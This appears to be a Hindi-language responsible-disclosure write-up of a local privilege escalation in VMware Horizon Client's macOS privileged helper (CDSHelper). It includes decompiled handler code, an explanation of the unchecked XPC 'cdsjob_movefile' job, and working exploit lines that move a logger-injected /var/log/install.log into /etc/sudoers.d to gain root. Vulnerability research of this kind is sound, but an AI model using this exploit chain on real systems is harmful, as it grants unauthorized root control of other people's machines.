
VMWare Horizon क्लाइंट macOS के लिए LPE एक XPC लॉजिक दोष के कारण। Omnissa को जिम्मेदारी से प्रकट किए गए एक 0-day का विलंबित POC।
macOS ऑपरेटिंग सिस्टम विभिन्न प्रक्रियाओं के बीच मूल अंतर-प्रक्रिया संचार के लिए XPC सेवाओं का उपयोग करता है, जैसे कि XPC सेवा डेमन और तृतीय-पक्ष एप्लिकेशन के विशेषाधिकार प्राप्त सहायक उपकरणों के बीच। VMware Horizon Client, स्थापना के दौरान, /Library/PrivilegedHelperTools/ निर्देशिका में com.vmware.horizon.CDSHelper विशेषाधिकार प्राप्त सहायक को पंजीकृत करता है।
यह भी ध्यान दिया जाना चाहिए कि com.vmware.horizon.CDSHelper का mach नाम विशेषाधिकार प्राप्त सहायक द्वारा आने वाले XPC कनेक्शनों को सुनने के लिए उपयोग किया जाता है, जैसा कि ऊपर दिखाया गया है। फिर डिफ़ॉल्ट macOS डेवलपर टूल का उपयोग करके सहायक बाइनरी से प्रतीकों को डंप किया गया ताकि यह पता लगाया जा सके कि इसमें XPC व्यवहार शामिल है:
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc
U __xpc_error_connection_invalid
U __xpc_error_key_description
U __xpc_type_connection
U __xpc_type_dictionary
U __xpc_type_error
U _xpc_connection_create_mach_service
U _xpc_connection_get_pid
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_get_string
U _xpc_dictionary_set_int64
U _xpc_get_type
U _xpc_release
फिर Hopper Disassembler टूल का उपयोग करके सहायक को आगे रिवर्स इंजीनियरिंग के लिए एक डीकंपाइलर में लोड किया गया, जैसा कि नीचे दिखाया गया है: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper EntryPoint() फ़ंक्शन का पता लगाया गया और उसकी समीक्षा की गई, जिससे पुष्टि हुई कि यह CDSHelper मुख्य प्रवेश बिंदु का प्रतिनिधित्व करता है।
फिर sub_100005fa0 फ़ंक्शन को डीकंपाइल किया गया, जिससे पुष्टि हुई कि VMWare Horizon Client का विशेषाधिकार प्राप्त सहायक उपकरण XPC सेवाओं API का उपयोग करता है -- यह निम्न C स्तर का API है जो Apple प्रदान करता है, जो XPC कनेक्शन API के विपरीत है जो Objective-C/Swift स्तर पर स्थित है:
int sub_100005fa0(int arg0, int arg1) {
sub_1000063d4("Starting service: %s\n");
r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
xpc_connection_set_event_handler(r0, &var_38);
r0 = xpc_connection_resume(r20);
dispatch_main();
return r0;
}
mach सेवा बनने के बाद (xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper) के माध्यम से), क्लाइंट और Horizon Client की XPC सेवा के बीच संदेश XPC डिक्शनरी ऑब्जेक्ट के माध्यम से आदान-प्रदान किए जाते हैं जो xpc_dictionary_create() विधि से बनाए जाते हैं। इस डिक्शनरी में मान जोड़ने के लिए Apple द्वारा डेवलपर्स को प्रदान की गई विधियों का उपयोग किया जा सकता है; ये आमतौर पर xpc_dictionary_set_* से शुरू होती हैं। क्लाइंट इन XPC डिक्शनरी ऑब्जेक्ट को xpc_connection_send_* जैसी विधियों के माध्यम से XPC सेवा को भेज सकता है। Horizon Client की XPC सेवा के अंत में, एक हैंडलर पंजीकृत होता है जो क्लाइंट से प्राप्त XPC डिक्शनरी ऑब्जेक्ट को संभाल सकता है। यह xpc_connection_set_event_handler() विधि का उपयोग करके किया जाता है। अंत में, प्राप्त XPC डिक्शनरी ऑब्जेक्ट से मान xpc_dictionary_get_* जैसी विधियों का उपयोग करके पढ़े जाते हैं। CDSHelper के EntryPoint() से लौटने के बाद, sub_100056d0 फ़ंक्शन को कॉल किया जाता है:
इस बिंदु पर, निष्पादन sub_1000056ec पर जाता है, जो आने वाले XPC संदेशों को संसाधित करने का अधिकांश कार्य संभालता है। डीकंपाइल किए गए फ़ंक्शन का पूरा भाग नीचे दिया गया है। संवेदनशील कमजोर भागों की तुरंत बाद समीक्षा की गई है।
int sub_1000056ec(int arg0, int arg1) {
r31 = r31 - 0x90;
var_30 = r24;
stack[-56] = r23;
var_20 = r22;
stack[-40] = r21;
var_10 = r20;
stack[-24] = r19;
saved_fp = r29;
stack[-8] = r30;
r19 = arg1;
var_38 = **___stack_chk_guard;
sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
r0 = xpc_dictionary_get_string(r19, "cdsjob");
if (r0 == 0x0) goto loc_1000057bc;
loc_100005738:
r20 = r0;
r0 = sub_1000063d4("CDSHelper: cdsJob is %s.\n");
if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;
loc_100005760:
if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;
loc_100005774:
if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
if (**___stack_chk_guard == var_38) {
r0 = sub_100005498(r19);
}
else {
__stack_chk_fail();
}
}
else {
r0 = sub_100005380(r19, 0x16);
sub_100006434("NOT_REACHED %s:%d\n");
}
return r0;
loc_1000058c4:
r0 = sub_1000068b8();
if (r0 == 0x0) goto loc_100005980;
loc_1000058d4:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
r20 = r0;
if (r0 == 0x0) goto loc_1000059b0;
loc_1000058f0:
r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
r21 = r0;
if (r0 == 0x0) goto loc_1000059f8;
loc_100005908:
sub_1000069b8();
sub_1000069b8();
sub_100006998();
if (0x0 == 0x0) goto loc_100005a60;
loc_100005948:
sub_100006978();
sub_1000067b8();
r0 = "CDSHelper: Failed to move the file : %s.\n";
goto loc_100005a00;
loc_100005a00:
sub_1000063d4(r0);
goto loc_100005a04;
loc_100005a04:
r22 = 0x16;
strerror(0x16);
sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
goto loc_100005a24;
loc_100005a24:
r0 = r19;
r1 = r22;
goto loc_100005a2c;
loc_100005a2c:
r0 = sub_100005380(r0, r1);
if (**___stack_chk_guard != var_38) {
__stack_chk_fail();
}
return r0;
loc_100005a60:
sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
r22 = 0x0;
goto loc_100005a24;
loc_1000059f8:
r0 = "CDSHelper: Invalid parameter of moving: destination dir.\n";
goto loc_100005a00;
loc_1000059b0:
sub_1000063d4("CDSHelper: Invalid parameter of moving: source file.\n");
r21 = 0x0;
goto loc_100005a04;
loc_100005980:
sub_1000063d4("CDSHelper: Failed to get the invalid file manager.\n");
r21 = 0x0;
r20 = 0x0;
goto loc_100005a04;
loc_100005818:
r0 = xpc_dictionary_get_string(r19, "vmwareid");
if (r0 == 0x0) goto loc_100005960;
loc_10000582c:
r20 = r0;
r0 = xpc_dictionary_get_string(r19, "path");
if (r0 == 0x0) goto loc_10000596c;
loc_100005844:
r21 = r0;
if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;
loc_10000585c:
r0 = xpc_dictionary_get_string(r19, "appDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005870:
r22 = r0;
r0 = xpc_dictionary_get_string(r19, "tempDir");
if (r0 == 0x0) goto loc_1000059c4;
loc_100005888:
sub_100006460();
sub_1000063d4("CDSHelper: The cds script %s is running...\n");
r0 = sub_100005410(&var_60);
r20 = r0;
if (r0 == 0x0) {
r0 = "CDSHelper: The cds script ran successfully!\n";
}
else {
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
}
goto loc_1000059e8;
loc_1000059e8:
sub_1000063d4(r0);
r0 = r19;
r1 = r20;
goto loc_100005a2c;
loc_1000059c4:
r0 = "CDSHelper: Invalid parameter.\n";
goto loc_1000059cc;
loc_1000059cc:
sub_1000063d4(r0);
r20 = 0x16;
goto loc_1000059d4;
loc_1000059d4:
strerror(r20);
r0 = "CDSHelper: The cds script failed to run : %s!\n";
goto loc_1000059e8;
loc_100005998:
sub_1000063d4("CDSHelper: Invalid script codesigning for %s.\n");
r20 = 0xd;
goto loc_1000059d4;
loc_10000596c:
sub_1000063d4("CDSHelper: Invalid script path.\n");
r20 = 0x2d;
goto loc_1000059d4;
loc_100005960:
r0 = "CDSHelper: Invalid vmwareid.\n";
goto loc_1000059cc;
loc_1000057bc:
sub_1000063d4("CDSHelper: Invalid cdsJob.\n");
strerror(0x16);
r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
if (**___stack_chk_guard == var_38) {
r0 = sub_100005380(r19, 0x16);
}
else {
__stack_chk_fail();
}
return r0;
}
जैसा कि नीचे हाइलाइट किया गया है, विशेषाधिकार प्राप्त सहायक पहले xpc_dictionary_get_string() विधि का उपयोग करके cdsjob का मान प्राप्त करता है। यहाँ से, विशेषाधिकार प्राप्त सहायक तीन संभावित स्ट्रिंग की अपेक्षा करता है:
यदि स्ट्रिंग तुलना cdsjob_movefile के लिए मेल खाती है, तो CDSHelper loc_1000058c4 के अंदर निष्पादन फिर से शुरू करता है, जैसा कि नीचे दिखाया गया है। xpc_dictionary_get_string() विधि के माध्यम से दो अतिरिक्त स्ट्रिंग की जाँच की जाती है:
विशेषाधिकार प्राप्त सहायक द्वारा ये दो अतिरिक्त स्ट्रिंग प्राप्त करने के बाद, तीन अतिरिक्त फ़ंक्शन कॉल किए जाते हैं:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
दूसरी स्ट्रिंग लौटाना:
void sub_1000069b8() {
[r0 stringWithUTF8String:r2];
return;
}
cds_movefile_srcfile द्वारा निर्दिष्ट पथ पर फ़ाइल या निर्देशिका को cds_movefile_dstdir पर एक नए स्थान पर ले जाना (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):
void sub_100006998() {
[r0 moveItemAtPath:r2 toPath:r3 error:r4];
return;
}
इस बिंदु पर, किसी भी फ़ाइल सिस्टम त्रुटियों को छोड़कर, CDSHelper सफलतापूर्वक फ़ाइल को स्थानांतरित करता है, निम्न संदेश लॉग करता है, और निष्पादन लौटाता है: CDSHelper: The cds moving ran successfully! यह ध्यान दिया जाना चाहिए कि, इस ऑपरेशन के दौरान, विशेषाधिकार प्राप्त सहायक आने वाले क्लाइंट कनेक्शन पर कोई जाँच नहीं करता है (जैसे कि SecRequirement स्ट्रिंग और कनेक्शन के पैकेज पहचानकर्ता, टीम पहचानकर्ता, Apple प्रमाणपत्र हस्ताक्षर आदि का उपयोग करके हस्ताक्षर जाँच)। इस प्रकार, एक दुर्भावनापूर्ण अभिनेता एक वैध XPC कनेक्शन शुरू कर सकता है और विशेषाधिकार प्राप्त सहायक को उन्नत विशेषाधिकारों के साथ मनमानी फ़ाइलों को स्थानांतरित करने के लिए मजबूर कर सकता है। यह ऑपरेटिंग सिस्टम के पूर्ण समझौता तक विशेषाधिकार वृद्धि की संभावना का परिचय देता है, जैसा कि नीचे दिखाया गया है। मनमानी रूट फ़ाइल ओवरराइट को साबित करने के लिए निम्न XPC डिक्शनरी मान पहले सेट और भेजे गए:
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");
हालाँकि, CDSHelper द्वारा डीकंपाइल किए गए फ़ंक्शन sub_1000068b8 में fileManagerWithAuthorization के बजाय defaultManager का उपयोग करके फ़ाइल प्रबंधक ऑब्जेक्ट आरंभ करने के परिणामस्वरूप, विशेषाधिकार प्राप्त सहायक फ़ाइलों को स्थानांतरित करते समय फ़ाइल स्वामित्व का सम्मान करता है; अर्थात, मूल रूप से गैर-रूट उपयोगकर्ताओं के स्वामित्व वाली फ़ाइलें उक्त फ़ाइलों को स्थानांतरित करने की प्रक्रिया में रूट के स्वामित्व में नहीं आती हैं। इस प्रकार, /etc/sudoers.d/ जैसी निर्देशिका में फ़ाइल को स्थानांतरित करके विशेषाधिकार बढ़ाने के लिए, एक प्रतिद्वंद्वी को एक ऐसी फ़ाइल ढूँढनी होगी जो पहले से ही रूट के स्वामित्व में हो, दुनिया-लिखने योग्य न हो, और जिसकी सामग्री को CDSHelper फ़ंक्शन के माध्यम से फ़ाइल को स्थानांतरित करने से पहले आंशिक रूप से नियंत्रित किया जा सके। जैसा कि नीचे दिखाया गया है, logger कमांड-लाइन उपयोगिता के माध्यम से /var/log/install.log की सामग्री को आंशिक रूप से नियंत्रित करना संभव है; यह एक फ़ाइल है जो शोषण शर्तों के मानदंडों में फिट बैठती है:
» ls -la /var/log/install.log
-rw-r--r--@ 1 root admin 420902 Oct 20 18:46 /var/log/install.log
लॉग फ़ाइल में install.error प्राथमिकता निर्दिष्ट करके और कैरिज रिटर्न का उपयोग करके एक नई पंक्ति जोड़कर logger का उपयोग करके sudo कॉन्फ़िगरेशन की एक वैध पंक्ति डालना संभव है।
शोषण POC (poc.c देखें) से उपरोक्त लॉग फ़ाइल को /etc/sudoers.d/ निर्देशिका में myfile के रूप में स्थानांतरित करने के लिए प्रासंगिक पंक्तियाँ नीचे दिखाई गई हैं:
xpc_object_t my_message;
my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");
ध्यान दें कि, sudo के माध्यम से चलाए गए कमांड को प्राप्त करने पर, ऑपरेटिंग सिस्टम लॉग फ़ाइल को पार्स करेगा, प्रक्रिया में लॉग प्रविष्टियों के अमान्य सिंटैक्स के बारे में stdout पर कई त्रुटियाँ लौटाएगा, और अंततः तब तक जारी रहेगा जब तक कि यह इंजेक्ट की गई वैध सिंटैक्स की एकल पंक्ति तक नहीं पहुँच जाता।
इस प्रकार, शोषण सफलतापूर्वक इंजेक्टेड लॉग फ़ाइल को /etc/sudoers.d/ निर्देशिका में स्थानांतरित करता है और दिखाता है कि sudo के माध्यम से /tmp/vmwarebeware पर स्थित एक नई फ़ाइल को छूना संभव है, जो VMWare Horizon Client के विशेषाधिकार प्राप्त सहायक उपकरण के माध्यम से अंतर्निहित macOS ऑपरेटिंग सिस्टम पर सफलतापूर्वक विशेषाधिकार वृद्धि साबित करता है।